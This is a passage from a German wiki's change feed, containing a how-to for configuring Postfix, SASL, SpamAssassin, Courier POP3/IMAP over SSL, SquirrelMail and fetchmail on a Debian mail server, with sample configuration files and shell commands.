 chown -R systemuser:mail /home/sytemuser/Maildir&lt;br /&gt;
&lt;br /&gt;
 email@andere.dyndns.org	systemuser&lt;br /&gt;
&lt;br /&gt;
Datenbank erstellen:&lt;br /&gt;
&lt;br /&gt;
 postmap /etc/postfix/virtual&lt;br /&gt;
 &lt;br /&gt;
 postfix reload&lt;/div&gt;</summary>
		<author><name>SOliver</name></author>
	</entry>
	<entry>
		<id>https://wiki.oppserver.net/index.php?title=POSTFIX,_COURIER_UND_SPAMASSASSIN_FAQ_INKL._SQUIRREL_WEBMAIL_Z.B._AUF_EINEM_ROOT/V-SERVER&amp;diff=427</id>
		<title>POSTFIX, COURIER UND SPAMASSASSIN FAQ INKL. SQUIRREL WEBMAIL Z.B. AUF EINEM ROOT/V-SERVER</title>
		<link rel="alternate" type="text/html" href="https://wiki.oppserver.net/index.php?title=POSTFIX,_COURIER_UND_SPAMASSASSIN_FAQ_INKL._SQUIRREL_WEBMAIL_Z.B._AUF_EINEM_ROOT/V-SERVER&amp;diff=427"/>
		<updated>2014-01-05T09:21:18Z</updated>

		<summary type="html">&lt;p&gt;SOliver: Die Seite wurde neu angelegt: „POSTFIX, COURIER UND SPAMASSASSIN FAQ INKL. SQUIRREL WEBMAIL Z.B. AUF EINEM ROOT/V-SERVER (Stand 17,.11.2013) [ © Oliver Schuetz aka OppTupacShakur | http://O…“&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;POSTFIX, COURIER UND SPAMASSASSIN FAQ INKL. SQUIRREL WEBMAIL Z.B. AUF EINEM ROOT/V-SERVER (Stand 17,.11.2013)&lt;br /&gt;
[ © Oliver Schuetz aka OppTupacShakur | http://OPPServer.ath.cx | http://unix.oppserver.net ]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Als root per ssh einlogen und folgende Aktionen immer als root ausfuehren:&lt;br /&gt;
&lt;br /&gt;
 aptitude install postfix postfix-tls maildrop spamassassin spamc razor pyzor openssl courier-base courier-ssl courier-pop courier-pop-ssl courier-imap courier-imap-ssl squirrelmail squirrelmail-decode squirrelmail-locales&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
POSTFIX EINRICHTEN (OHNE CACERT, zb zum einrichten einer Mailadresse fuer Cacert.org)&lt;br /&gt;
&lt;br /&gt;
/etc/postfix/main.cf bearbeiten, meine sieht wie folgt aus, smtp server ist hier mx.freenet.de als Beispiel, dort am besten einen smtp und auch eine Emailadresse des eigenen DSL Providers (funktioniert auch bei einem Root Server) nehmen.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
 # See /usr/share/postfix/main.cf.dist for a commented, more complete version&lt;br /&gt;
 &lt;br /&gt;
 &lt;br /&gt;
 # Debian specific:  Specifying a file name will cause the first&lt;br /&gt;
 # line of that file to be used as the name.  The Debian default&lt;br /&gt;
 # is /etc/mailname.&lt;br /&gt;
 #myorigin = /etc/mailname&lt;br /&gt;
 &lt;br /&gt;
 smtpd_banner = $myhostname ESMTP $mail_name (Debian/GNU)&lt;br /&gt;
 biff = no&lt;br /&gt;
 &lt;br /&gt;
 # appending .domain is the MUA&#039;s job.&lt;br /&gt;
 append_dot_mydomain = no&lt;br /&gt;
 &lt;br /&gt;
 # Uncomment the next line to generate &amp;quot;delayed mail&amp;quot; warnings&lt;br /&gt;
 delay_warning_time = 4h&lt;br /&gt;
 &lt;br /&gt;
 # TLS parameters&lt;br /&gt;
 smtp_tls_key_file = /usr/share/ssl-cert/ssl-cert-snakeoil.key&lt;br /&gt;
 smtp_tls_cert_file = /usr/share/ssl-cert/ssl-cert-snakeoil.pem&lt;br /&gt;
 smtpd_tls_key_file=/etc/ssl/private/ssl-cert-snakeoil.key&lt;br /&gt;
 smtpd_tls_cert_file=/etc/ssl/certs/ssl-cert-snakeoil.pem&lt;br /&gt;
 smtpd_use_tls=yes&lt;br /&gt;
 smtpd_tls_session_cache_database = btree:${queue_directory}/smtpd_scache&lt;br /&gt;
 smtpd_sasl_local_domain = $mydomain&lt;br /&gt;
 smtpd_sasl_auth_enable = yes&lt;br /&gt;
 smtpd_sasl_security_options = noanonymous&lt;br /&gt;
 broken_sasl_auth_clients = yes&lt;br /&gt;
 smtp_sender_dependent_authentication = yes&lt;br /&gt;
 smtp_sasl_mechanism_filter = plain,login&lt;br /&gt;
 smtpd_sender_restrictions = reject_unknown_sender_domain&lt;br /&gt;
 smtpd_helo_restrictions = permit_sasl_authenticated, permit_mynetworks, reject_invalid_hostname, reject_unauth_pipelining, reject_non_fqdn_hostname&lt;br /&gt;
 smtpd_recipient_restrictions = permit_mynetworks, permit_sasl_authenticated, reject_invalid_hostname, reject_non_fqdn_hostname, reject_unknown_recipient_domain, reject_non_fqdn_recipient, reject_non_fqdn_sender, reject_unknown_sender_domain, reject_unauth_destination, reject_unauth_pipelining, reject_rbl_client zen.spamhaus.org, reject_rbl_client ix.dnsbl.manitu.net, reject_rbl_client bl.spamcop.org, permit&lt;br /&gt;
 smtpd_data_restrictions = reject_unauth_pipelining, permit&lt;br /&gt;
 &lt;br /&gt;
 # See /usr/share/doc/postfix/TLS_README.gz in the postfix-doc package for&lt;br /&gt;
 # information on enabling SSL in the smtp client.&lt;br /&gt;
 &lt;br /&gt;
 alias_maps = hash:/etc/aliases&lt;br /&gt;
 alias_database = hash:/etc/aliases&lt;br /&gt;
 # hier kommt der fqdn rein zum bsp. mail.oppdns.org&lt;br /&gt;
 myhostname = mail.oppdns.org&lt;br /&gt;
 # hier kommt die domain rein zum bsp. oppdns.org&lt;br /&gt;
 mydomain = oppdns.org&lt;br /&gt;
 myorigin = $mydomain&lt;br /&gt;
 mydestination = $mydomain, $myhostname, localhost.$mydomain, localhost&lt;br /&gt;
 disable_dns_lookups = no&lt;br /&gt;
 relay_domains = $mydestination&lt;br /&gt;
 #relayhost = &lt;br /&gt;
 # hier en richtigen lokalen Netzbereich eintragen&lt;br /&gt;
 mynetworks = 127.0.0.0/8&lt;br /&gt;
 mynetworks_style = host&lt;br /&gt;
 mailbox_command = maildrop&lt;br /&gt;
 mailbox_size_limit = 0&lt;br /&gt;
 message_size_limit = 10485760&lt;br /&gt;
 recipient_delimiter = +&lt;br /&gt;
 inet_interfaces = all&lt;br /&gt;
 inet_protocols = all&lt;br /&gt;
 virtual_alias_maps = hash:/etc/postfix/virtual&lt;br /&gt;
 virtual_alias_domains = hash:/etc/postfix/virtual&lt;br /&gt;
 # Verwende das Maildir-Format&lt;br /&gt;
 home_mailbox = Maildir/&lt;br /&gt;
 &lt;br /&gt;
Die Datei /etc/aliases bearbeiten, z.B. alle Mails fuer root an einen Systemuser weiterleiten, meine sieht wie folgt aus.&lt;br /&gt;
&lt;br /&gt;
 # /etc/aliases&lt;br /&gt;
 mailer-daemon: postmaster&lt;br /&gt;
 postmaster: root&lt;br /&gt;
 nobody: root&lt;br /&gt;
 hostmaster: root&lt;br /&gt;
 usenet: root&lt;br /&gt;
 news: root&lt;br /&gt;
 webmaster: root&lt;br /&gt;
 www: root&lt;br /&gt;
 ftp: root&lt;br /&gt;
 abuse: root&lt;br /&gt;
 noc: root&lt;br /&gt;
 security: root&lt;br /&gt;
 root: opp&lt;br /&gt;
&lt;br /&gt;
Danach einmal:&lt;br /&gt;
 newaliases&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
POSTFIX EINRICHTEN (MIT CACERT)&lt;br /&gt;
&lt;br /&gt;
Als erstes wie hier&lt;br /&gt;
 http://unix.oppserver.net/debian/debian_openssl_installieren_und_certs_erstellen_faq&lt;br /&gt;
beschrieben ein SSL Cert erstellen.&lt;br /&gt;
&lt;br /&gt;
/etc/postfix/main.cf bearbeiten, meine sieht wie folgt aus, smtp server ist hier mx.freenet.de als Beispiel, dort am besten einen smtp und auch eine Emailadresse des eigenen DSL Providers (funktioniert auch bei einem Root Server) nehmen.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
 # See /usr/share/postfix/main.cf.dist for a commented, more complete version&lt;br /&gt;
 &lt;br /&gt;
 &lt;br /&gt;
 # Debian specific:  Specifying a file name will cause the first&lt;br /&gt;
 # line of that file to be used as the name.  The Debian default&lt;br /&gt;
 # is /etc/mailname.&lt;br /&gt;
 #myorigin = /etc/mailname&lt;br /&gt;
 &lt;br /&gt;
 smtpd_banner = $myhostname ESMTP $mail_name (Debian/GNU)&lt;br /&gt;
 biff = no&lt;br /&gt;
 &lt;br /&gt;
 # appending .domain is the MUA&#039;s job.&lt;br /&gt;
 append_dot_mydomain = no&lt;br /&gt;
 &lt;br /&gt;
 # Uncomment the next line to generate &amp;quot;delayed mail&amp;quot; warnings&lt;br /&gt;
 delay_warning_time = 4h&lt;br /&gt;
 &lt;br /&gt;
 # TLS parameters&lt;br /&gt;
 smtp_tls_key_file = /usr/share/ssl-cert/URL.key.decrypted&lt;br /&gt;
 smtp_tls_cert_file = /usr/share/ssl-cert/URL.crt&lt;br /&gt;
 smtp_tls_CAfile = /usr/share/ssl-cert/cacert.crt&lt;br /&gt;
 smtpd_tls_key_file = /usr/share/ssl-cert/URL.key.decrypted&lt;br /&gt;
 smtpd_tls_cert_file = /usr/share/ssl-cert/URL.crt&lt;br /&gt;
 smtpd_use_tls=yes&lt;br /&gt;
 smtpd_tls_session_cache_database = btree:${queue_directory}/smtpd_scache&lt;br /&gt;
 #smtp_tls_session_cache_database = btree:${queue_directory}/smtp_scache&lt;br /&gt;
 smtpd_recipient_restrictions = reject_non_fqdn_sender,reject_non_fqdn_recipient,permit_sasl_authenticated,permit_mynetworks,reject_unauth_destination,reject_invalid_hostname,reject_non_fqdn_hostname,reject_unknown_sender_domain,reject_unauth_pipelining&lt;br /&gt;
 smtpd_sasl_local_domain = $mydomain&lt;br /&gt;
 smtpd_sasl_auth_enable = yes&lt;br /&gt;
 smtpd_sasl_security_options = noanonymous&lt;br /&gt;
 broken_sasl_auth_clients = yes&lt;br /&gt;
 smtp_sender_dependent_authentication = yes&lt;br /&gt;
 #smtp_sasl_auth_enable = yes&lt;br /&gt;
 #smtp_use_tls = yes&lt;br /&gt;
 #smtp_sasl_security_options = noanonymous&lt;br /&gt;
 smtp_sasl_mechanism_filter = plain,login&lt;br /&gt;
 #smtp_sasl_password_maps = hash:/etc/postfix/sasl_passwd&lt;br /&gt;
 smtpd_sender_restrictions = reject_unknown_sender_domain&lt;br /&gt;
 &lt;br /&gt;
 # See /usr/share/doc/postfix/TLS_README.gz in the postfix-doc package for&lt;br /&gt;
 # information on enabling SSL in the smtp client.&lt;br /&gt;
 &lt;br /&gt;
 alias_maps = hash:/etc/aliases&lt;br /&gt;
 alias_database = hash:/etc/aliases&lt;br /&gt;
 # hier kommt der fqdn rein zum bsp. mail.oppdns.org&lt;br /&gt;
 myhostname = mail.oppdns.org&lt;br /&gt;
 # hier kommt die domain rein zum bsp. oppdns.org&lt;br /&gt;
 mydomain = oppdns.org&lt;br /&gt;
 myorigin = $mydomain&lt;br /&gt;
 mydestination = $mydomain, $myhostname, localhost.$mydomain, localhost&lt;br /&gt;
 disable_dns_lookups = no&lt;br /&gt;
 relay_domains = $mydestination&lt;br /&gt;
 #relayhost = mx.freenet.de&lt;br /&gt;
 # hier en richtigen lokalen Netzbereich eintragen&lt;br /&gt;
 mynetworks = 127.0.0.0/8&lt;br /&gt;
 mynetworks_style = host&lt;br /&gt;
 mailbox_command = maildrop&lt;br /&gt;
 mailbox_size_limit = 0&lt;br /&gt;
 message_size_limit = 10485760&lt;br /&gt;
 recipient_delimiter = +&lt;br /&gt;
 inet_interfaces = all&lt;br /&gt;
 inet_protocols = all&lt;br /&gt;
 virtual_alias_maps = hash:/etc/postfix/virtual&lt;br /&gt;
 virtual_alias_domains = hash:/etc/postfix/virtual&lt;br /&gt;
 # Verwende das Maildir-Format&lt;br /&gt;
 home_mailbox = Maildir/&lt;br /&gt;
&lt;br /&gt;
Die Datei /etc/aliases bearbeiten, z.B. alle Mails fuer root an einen Systemuser weiterleiten, meine sieht wie folgt aus.&lt;br /&gt;
&lt;br /&gt;
 # /etc/aliases&lt;br /&gt;
 mailer-daemon: postmaster&lt;br /&gt;
 postmaster: root&lt;br /&gt;
 nobody: root&lt;br /&gt;
 hostmaster: root&lt;br /&gt;
 usenet: root&lt;br /&gt;
 news: root&lt;br /&gt;
 webmaster: root&lt;br /&gt;
 www: root&lt;br /&gt;
 ftp: root&lt;br /&gt;
 abuse: root&lt;br /&gt;
 noc: root&lt;br /&gt;
 security: root&lt;br /&gt;
 root: opp&lt;br /&gt;
&lt;br /&gt;
Danach einmal:&lt;br /&gt;
 newaliases&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
SASL EINRICHTEN&lt;br /&gt;
&lt;br /&gt;
Als erstes muessen wir SASL &amp;quot;aktvieren&amp;quot;, da es nach der Installation standardmaessig deaktiviert ist. Dazu oeffnen wir die Datei /etc/default/saslauthd mit einem beliebigen Editor.&lt;br /&gt;
&lt;br /&gt;
Die Zeile&lt;br /&gt;
&lt;br /&gt;
 START=no&lt;br /&gt;
&lt;br /&gt;
muss in&lt;br /&gt;
&lt;br /&gt;
 START=yes&lt;br /&gt;
&lt;br /&gt;
geaendert werden.&lt;br /&gt;
Anschliessend sollte die Zeile&lt;br /&gt;
&lt;br /&gt;
 OPTIONS=&amp;quot;-c&amp;quot;&lt;br /&gt;
&lt;br /&gt;
in&lt;br /&gt;
&lt;br /&gt;
 OPTIONS=&amp;quot;-c -m /var/spool/postfix/var/run/saslauthd&amp;quot;&lt;br /&gt;
&lt;br /&gt;
geaendert werden. Dies ist noetig, da Postfix in einem Chroot-Kaefig laeuft und auf den Standardsocket von SASL nicht zugreifen kann!&lt;br /&gt;
Im Chroot-Kaefig von Postfix fehlen ein paar Ordner, diese koennen wir von dpkg erzeugen lassen:&lt;br /&gt;
&lt;br /&gt;
 dpkg-statoverride --add root sasl 710 /var/spool/postfix/var/run/saslauthd&lt;br /&gt;
&lt;br /&gt;
Nun fuegen wir noch Postfix zur Gruppe Sasl hinzu, damit ersteres auch auf letzteres zugreifen kann&lt;br /&gt;
&lt;br /&gt;
 adduser postfix sasl&lt;br /&gt;
&lt;br /&gt;
Mail versand von intern nach extern einrichten&lt;br /&gt;
&lt;br /&gt;
Als mailrelay wird freenet genommen mit smtp auth.&lt;br /&gt;
Zuerst bei freenet eine Mailadresse besorgen,&lt;br /&gt;
dann datei anlegen und ins Postfix Dir packen.&lt;br /&gt;
&lt;br /&gt;
 touch /etc/postfix/sasl_passwd&lt;br /&gt;
&lt;br /&gt;
Dann in diese datei folgendes eintragen:&lt;br /&gt;
&lt;br /&gt;
 mx.freenet.de	user@freenet.de:passwort&lt;br /&gt;
&lt;br /&gt;
Datenbank erstellen:&lt;br /&gt;
&lt;br /&gt;
 postmap hash:/etc/postfix/sasl_passwd&lt;br /&gt;
&lt;br /&gt;
Jetzt muessen wir Postfix noch kurz beibringen, wie es auf SASL zur Authentifizierung zugreifen kann.&lt;br /&gt;
Dazu legen wir die Datei /etc/postfix/sasl/smtpd.conf (touch /etc/postfix/sasl/smtpd.conf) mit folgendem Inhalt an:&lt;br /&gt;
&lt;br /&gt;
 pwcheck_method: saslauthd&lt;br /&gt;
 mech_list: digest-md5 cram-md5 login plain&lt;br /&gt;
 autotransition:true&lt;br /&gt;
 saslauthd_path: /var/run/saslauthd/mux&lt;br /&gt;
 pwcheck_method: saslauthd&lt;br /&gt;
&lt;br /&gt;
Anschliessend kann der saslauthd gestartet werden:&lt;br /&gt;
&lt;br /&gt;
 /etc/init.d/saslauthd start&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
SPAMASSASSIN EINRICHTEN&lt;br /&gt;
&lt;br /&gt;
Als erstes aktivieren wir Spamassassin, da auch dieses bei der Standardinstallation deaktviert ist. Dazu bearbeiten wir die Datei /etc/default/spamassassin mit einem beliebigen Texteditor.&lt;br /&gt;
Aendern Sie die Zeile&lt;br /&gt;
&lt;br /&gt;
 ENABLED=0&lt;br /&gt;
&lt;br /&gt;
in&lt;br /&gt;
&lt;br /&gt;
 ENABLED=1&lt;br /&gt;
&lt;br /&gt;
und starten sie Spamassassin anschliessend:&lt;br /&gt;
&lt;br /&gt;
 /etc/init.d/spamassassin start&lt;br /&gt;
&lt;br /&gt;
Ich werde hier nicht sehr detailliert auf die Konfiguration von Spamassassin eingehen, da dies den Rahmen dieses Howtos erheblich sprengen wuerde.&lt;br /&gt;
&lt;br /&gt;
Erstellen vom Razor Account&lt;br /&gt;
&lt;br /&gt;
 rm /etc/razor/razor-agent.conf&lt;br /&gt;
 razor-admin -create&lt;br /&gt;
 razor-admin -create&lt;br /&gt;
 razor-admin -register&lt;br /&gt;
&lt;br /&gt;
Wenn beim Erstellen des Kontos Fehler auftreten, ist es eventuell notwendig es mehrfach zu versuchen, da der Server eventuell ausgelastet ist.&lt;br /&gt;
&lt;br /&gt;
Anschliessend editieren wir /root/.razor/razor-agent.conf wieder mit einem Texteditor und setzen den Debuglevel auf Null.&lt;br /&gt;
&lt;br /&gt;
nun bearbeiten wir die Konfigurationsdatei von Spamassassin (/etc/spamassassin/local.cf) mit einem Texteditor.&lt;br /&gt;
Haengen Sie die folgenden Zeilen an die Datei an:&lt;br /&gt;
&lt;br /&gt;
 # Verwende Razor&lt;br /&gt;
 use_razor2 1&lt;br /&gt;
 # Verwende Pyzor&lt;br /&gt;
 use_pyzor 1&lt;br /&gt;
 # Verwende DCC&lt;br /&gt;
 use_dcc 1&lt;br /&gt;
 # Verwende Bayes Filter&lt;br /&gt;
 use_bayes 1&lt;br /&gt;
 use_bayes_rules 1&lt;br /&gt;
 bayes_auto_learn 1&lt;br /&gt;
 # Ab diesem Score wird eine Mail als SPAM markiert&lt;br /&gt;
 required_score 5.0&lt;br /&gt;
&lt;br /&gt;
Mit dem letzten Parameter werden sie vermutlich ein wenig rumspielen wollen, da die Einstufung ob eine Mail Spam ist oder nicht, von ihnen und nicht von mir abhaengt.&lt;br /&gt;
&lt;br /&gt;
Anschliessend muss Spamassassin noch neugestartet werden:&lt;br /&gt;
&lt;br /&gt;
 /etc/init.d/spamassassin restart&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
MAILDROP EINRICHTEN&lt;br /&gt;
&lt;br /&gt;
Nun bearbeiten wir die Konfigurationsdatei von maildrop /etc/maildroprc.&lt;br /&gt;
&lt;br /&gt;
Aendern Sie die Zeile&lt;br /&gt;
&lt;br /&gt;
 #DEFAULT=&amp;quot;$HOME/Maildir&amp;quot;&lt;br /&gt;
&lt;br /&gt;
in&lt;br /&gt;
&lt;br /&gt;
 DEFAULT=&amp;quot;$HOME/Maildir&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Postfix neu laden:&lt;br /&gt;
 postfix reload&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
COURIER POP3-SSL EINRICHTEN (OHNE CACERT, zb zum einrichten einer mailadresse fuer cacert.org)&lt;br /&gt;
&lt;br /&gt;
Als naechstes wird courier-pop3 SSL beigebracht. Dazu wird die datei pop3d.cnf bearbeitet:&lt;br /&gt;
&lt;br /&gt;
 RANDFILE = /usr/lib/courier/pop3d.rand&lt;br /&gt;
 &lt;br /&gt;
 [ req ]&lt;br /&gt;
 default_bits = 1024&lt;br /&gt;
 encrypt_key = yes&lt;br /&gt;
 distinguished_name = req_dn&lt;br /&gt;
 x509_extensions = cert_type&lt;br /&gt;
 prompt = no&lt;br /&gt;
 &lt;br /&gt;
 [ req_dn ]&lt;br /&gt;
 C=DE&lt;br /&gt;
 ST=BUNDESLAND&lt;br /&gt;
 L=STADT&lt;br /&gt;
 O=IRGENDWAS&lt;br /&gt;
 OU=IRGENDWAS&lt;br /&gt;
 CN=domain.tld &lt;br /&gt;
&lt;br /&gt;
Altes Zertifikat loeschen:&lt;br /&gt;
&lt;br /&gt;
 rm /etc/courier/pop3d.pem&lt;br /&gt;
&lt;br /&gt;
Jetzt ist es Zeit ein Zertifikat zu erstellen:&lt;br /&gt;
&lt;br /&gt;
 mkpop3dcert&lt;br /&gt;
&lt;br /&gt;
Courier nun neu starten mit:&lt;br /&gt;
&lt;br /&gt;
 /etc/init.d/courier-pop-ssl restart&lt;br /&gt;
 /etc/init.d/courier-pop restart&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
COURIER POP3-SSL EINRICHTEN (MIT CACERT)&lt;br /&gt;
&lt;br /&gt;
Nun noch in der /etc/courier/pop3d-ssl den pfad zur in&lt;br /&gt;
http://unix.oppserver.net/debian/debian_openssl_installieren_und_certs_erstellen_faq erstellten PEM datei verweisen:&lt;br /&gt;
&lt;br /&gt;
 TLS_CERTFILE=/usr/share/ssl-cert/URL.pem&lt;br /&gt;
&lt;br /&gt;
 /etc/init.d/courier-pop-ssl restart&lt;br /&gt;
 /etc/init.d/courier-pop restart&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
COURIER IMAP-SSL EINRICHTEN (OHNE CACERT, zb zum einrichten einer mailadresse fuer cacert.org)&lt;br /&gt;
&lt;br /&gt;
Als naechstes wird courier-imap SSL beigebracht. Dazu wird die datei imapd.cnf bearbeitet:&lt;br /&gt;
&lt;br /&gt;
 RANDFILE = /usr/lib/courier/imapd.rand&lt;br /&gt;
 &lt;br /&gt;
 [ req ]&lt;br /&gt;
 default_bits = 1024&lt;br /&gt;
 encrypt_key = yes&lt;br /&gt;
 distinguished_name = req_dn&lt;br /&gt;
 x509_extensions = cert_type&lt;br /&gt;
 prompt = no&lt;br /&gt;
 &lt;br /&gt;
 [ req_dn ]&lt;br /&gt;
 C=DE&lt;br /&gt;
 ST=BUNDESLAND&lt;br /&gt;
 L=STADT&lt;br /&gt;
 O=IRGENDWAS&lt;br /&gt;
 OU=IRGENDWAS&lt;br /&gt;
 CN=domain.tld &lt;br /&gt;
&lt;br /&gt;
Altes Zertifikat loeschen:&lt;br /&gt;
&lt;br /&gt;
 rm /etc/courier/imapd.pem&lt;br /&gt;
&lt;br /&gt;
Jetzt ist es Zeit ein Zertifikat zu erstellen:&lt;br /&gt;
&lt;br /&gt;
 mkimapdcert&lt;br /&gt;
&lt;br /&gt;
Jetzt kann courier-imap-ssl neu gestartet werden:&lt;br /&gt;
&lt;br /&gt;
 /etc/init.d/courier-imap-ssl restart&lt;br /&gt;
 /etc/init.d/courier-imap restart&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
COURIER IMAP-SSL EINRICHTEN (MIT CACERT)&lt;br /&gt;
&lt;br /&gt;
In der /etc/courier/imapd-ssl den pfad zur in&lt;br /&gt;
http://unix.oppserver.net/debian/debian_openssl_installieren_und_certs_erstellen_faq erstellten PEM datei verweisen:&lt;br /&gt;
&lt;br /&gt;
 TLS_CERTFILE=/usr/share/ssl-cert/URL.pem&lt;br /&gt;
 TLS_TRUSTCERTS=/usr/share/ssl-cert/URL.crt&lt;br /&gt;
 TLS_VERIFYPEER=NONE&lt;br /&gt;
&lt;br /&gt;
 /etc/init.d/courier-imap-ssl restart&lt;br /&gt;
 /etc/init.d/courier-imap restart&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
SQUIRRELMAIL EINRICHTEN&lt;br /&gt;
&lt;br /&gt;
Mit&lt;br /&gt;
 /usr/sbin/squirrelmail-configure&lt;br /&gt;
konfigurieren wir erstmal Squirrelmail nach eigenen Wuenschen.&lt;br /&gt;
Wichtiges finde ich zb:&lt;br /&gt;
&lt;br /&gt;
 1.  Organization Preferences&lt;br /&gt;
     1.  Organization Name&lt;br /&gt;
     4.  Organization Title&lt;br /&gt;
     7.  Provider link&lt;br /&gt;
     8.  Provider name&lt;br /&gt;
&lt;br /&gt;
 10. Languages&lt;br /&gt;
     1.  Default Language       :  &amp;lt;&amp;lt;&amp;lt; aendern in de_DE&lt;br /&gt;
&lt;br /&gt;
Was hier unbedingt geaendert werden muss ist:&lt;br /&gt;
 2.  Server Settings&lt;br /&gt;
     B.  Update SMTP Settings   : localhost:25&lt;br /&gt;
          4.   SMTP Server           : localhost &amp;lt;&amp;lt;&amp;lt; hier muss die IP vom Server eingetragen werden&lt;br /&gt;
          7.   SMTP Authentication   : none &amp;lt;&amp;lt;&amp;lt; auf login stellen&lt;br /&gt;
&lt;br /&gt;
Aussehen sollte es dann etwa so:&lt;br /&gt;
 SMTP Settings&lt;br /&gt;
 -------------&lt;br /&gt;
 4.   SMTP Server           : 192.168.1.2&lt;br /&gt;
 5.   SMTP Port             : 25&lt;br /&gt;
 6.   POP before SMTP       : false&lt;br /&gt;
 7.   SMTP Authentication   : login (with IMAP username and password)&lt;br /&gt;
 8.   Secure SMTP (TLS)     : false&lt;br /&gt;
 9.   Header encryption key : &lt;br /&gt;
&lt;br /&gt;
s fuer speichern nicht vergessen danach q zum verlassen.&lt;br /&gt;
&lt;br /&gt;
Um squirrelmail zu aktivieren, muessen wir einen symlink setzen:&lt;br /&gt;
&lt;br /&gt;
 ln -s /etc/squirrelmail/apache.conf /etc/apache2/conf.d&lt;br /&gt;
&lt;br /&gt;
Nach einem Restart von apache2 ist squirrelmail sofort verfuegbar:&lt;br /&gt;
&lt;br /&gt;
 /etc/init.d/apache2 restart&lt;br /&gt;
&lt;br /&gt;
Squirrelmail ist nun einsatzbereit und unter&lt;br /&gt;
&lt;br /&gt;
 http://URL/squirrelmail&lt;br /&gt;
&lt;br /&gt;
verfuegbar.&lt;br /&gt;
&lt;br /&gt;
Natuerlich kann man sich auch einen Vhost im Apache erstellen (z.B. http://webmail.URL/), dieser sollte&lt;br /&gt;
dann nach /usr/share/squirrelmail linken.&lt;br /&gt;
&lt;br /&gt;
Des Weiteren kann man auch alles nach https (ssl) umleiten lassen (dazu muss der Apache natuerlich https verstehen), dazu muss man in der datei folgendes aendern:&lt;br /&gt;
&lt;br /&gt;
 #&amp;lt;IfModule mod_rewrite.c&amp;gt;&lt;br /&gt;
 #  &amp;lt;IfModule mod_ssl.c&amp;gt;&lt;br /&gt;
 #    &amp;lt;Location /squirrelmail&amp;gt;&lt;br /&gt;
 #      RewriteEngine on&lt;br /&gt;
 #      RewriteCond %{HTTPS} !^on$ [NC]&lt;br /&gt;
 #      RewriteRule . https://%{HTTP_HOST}%{REQUEST_URI}  [L]&lt;br /&gt;
 #    &amp;lt;/Location&amp;gt;&lt;br /&gt;
 #  &amp;lt;/IfModule&amp;gt;&lt;br /&gt;
 #&amp;lt;/IfModule&amp;gt;&lt;br /&gt;
&lt;br /&gt;
aendern in&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;IfModule mod_rewrite.c&amp;gt;&lt;br /&gt;
   &amp;lt;IfModule mod_ssl.c&amp;gt;&lt;br /&gt;
     &amp;lt;Location /squirrelmail&amp;gt;&lt;br /&gt;
       RewriteEngine on&lt;br /&gt;
       RewriteCond %{HTTPS} !^on$ [NC]&lt;br /&gt;
       RewriteRule . https://%{HTTP_HOST}%{REQUEST_URI}  [L]&lt;br /&gt;
     &amp;lt;/Location&amp;gt;&lt;br /&gt;
   &amp;lt;/IfModule&amp;gt;&lt;br /&gt;
 &amp;lt;/IfModule&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Danach ein:&lt;br /&gt;
 /etc/init.d/apache2 restart&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
OPTIONAL:&lt;br /&gt;
&lt;br /&gt;
FETCHMAIL EINRICHTEN&lt;br /&gt;
&lt;br /&gt;
 aptitude install fetchmail&lt;br /&gt;
&lt;br /&gt;
Mit Fetchmail Mails von externen Postfaechern abholen:&lt;br /&gt;
Fetchmail Daemon aktivieren in /etc/default/fetchmail:&lt;br /&gt;
&lt;br /&gt;
 START_DAEMON=no&lt;br /&gt;
&lt;br /&gt;
aendern in&lt;br /&gt;
&lt;br /&gt;
 START_DAEMON=yes&lt;br /&gt;
&lt;br /&gt;
/etc/fetchmailrc mit folgendem Inhalt editieren, um Mails von GMX abzuholen:&lt;br /&gt;
systemuser steht fuer den User fuer den ihr eine Mailbox angelegt habt und der auf dem System geaddet ist.&lt;br /&gt;
&lt;br /&gt;
 poll pop.gmx.net proto pop3 user &amp;quot;username@gmx.net&amp;quot; with pass &amp;quot;geheim&amp;quot; is &amp;quot;systemuser&amp;quot; here&lt;br /&gt;
&lt;br /&gt;
Dann Fetchmail Daemon starten:&lt;br /&gt;
&lt;br /&gt;
 /etc/init.d/fetchmail restart&lt;br /&gt;
 postfix reload&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
VIRTUAL ALIAS&lt;br /&gt;
&lt;br /&gt;
Virtual alias anlegen, falls man z.B. noch eine 2 oder noch weiterere Domains adden moechte.&lt;br /&gt;
&lt;br /&gt;
 touch /etc/postfix/virtual&lt;br /&gt;
&lt;br /&gt;
Die Datei mit folgendem Inhalt fuellen, wobei ersteres die abzufragende Emailadresse ist und Systemuser steht fuer den User fuer den ihr eine Mailbox angelegt habt und der auf dem System geaddet ist.&lt;br /&gt;
 maildirmake /home/sytemuser/Maildir&lt;br /&gt;
 chown -R systemuser:mail /home/sytemuser/Maildir&lt;br /&gt;
&lt;br /&gt;
 email@anderedns.org	systemuser&lt;br /&gt;
&lt;br /&gt;
Datenbank erstellen:&lt;br /&gt;
&lt;br /&gt;
 postmap /etc/postfix/virtual&lt;br /&gt;
 &lt;br /&gt;
 postfix reload&lt;/div&gt;</summary>
		<author><name>SOliver</name></author>
	</entry>
	<entry>
		<id>https://wiki.oppserver.net/index.php?title=DEBIAN_OPENSSL_UND_CERTS_FAQ&amp;diff=426</id>
		<title>DEBIAN OPENSSL UND CERTS FAQ</title>
		<link rel="alternate" type="text/html" href="https://wiki.oppserver.net/index.php?title=DEBIAN_OPENSSL_UND_CERTS_FAQ&amp;diff=426"/>
		<updated>2014-01-05T09:20:18Z</updated>

